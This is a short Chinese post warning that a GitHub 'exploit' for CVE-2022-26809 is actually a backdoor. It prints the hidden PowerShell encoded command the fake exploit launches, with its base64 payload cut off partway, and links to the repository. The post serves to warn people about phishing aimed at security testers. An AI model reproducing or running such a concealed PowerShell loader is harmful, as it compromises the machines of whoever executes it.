今天突然之间就有好多小伙伴研究起了一个一个月前的CVE漏洞----CVE-2022-26809|远程代码执行漏洞；
文章地址： https://www.ddosi.org/cve-2022-26809-exp/
exp地址：
https://github.com/rkxxz/CVE-2022-26809
而后无数的群友一起去尝试，但是无一成功
本人也在虚拟机里面运行了一下，分别生成了x64以及x86的shellcode.bin文件
虚拟机运行所谓的exp
显示成功了，然是实际上并没有上线，而后继续实验，测试一台未开启445端口的win10虚拟机
而后就发现，出现了一个powershell的加密命令
powershell -nop -w hidden -encodedcommand "$s=New-Object
IO.MemoryStream(,[Convert]::FromBase64String(“H4sIAAAAAAAAAKVW+2/iSBL+efgrvFGkDUqCwRBCMlpp2gaDCW+DeUTRyY+2aWg/4m5jnNn5368MhFtm7vakOyTL7qLqq/qqq7tKx/xe5zGxeT90sHBv4JiRMBCkQuG6GWpc+EP49nvh2mQM+xbN8uVV4UvCSOAJesY49r9eLkuTJODExyUt4DgOIx3HO2JjBmqB6WMWmTYWSLDBNhe+F758iRKLEluwKbgQ3CSwD9Ivryo1PfYmnP7GQeILiNLQNjmEN80iLHwXlND3SR5ieV8pl8t3wgQzcIcPEgkkwo//hNX”
然后就有小伙子上线了
经查询，是一个恶意的ip地址
而后很多人开始石锤
哈哈哈，笑不活了，大家警惕此类文件，特别是exe结尾的所谓的exp，所示想实验，一定要在虚拟机里进行，做好快照，警惕钓鱼啊！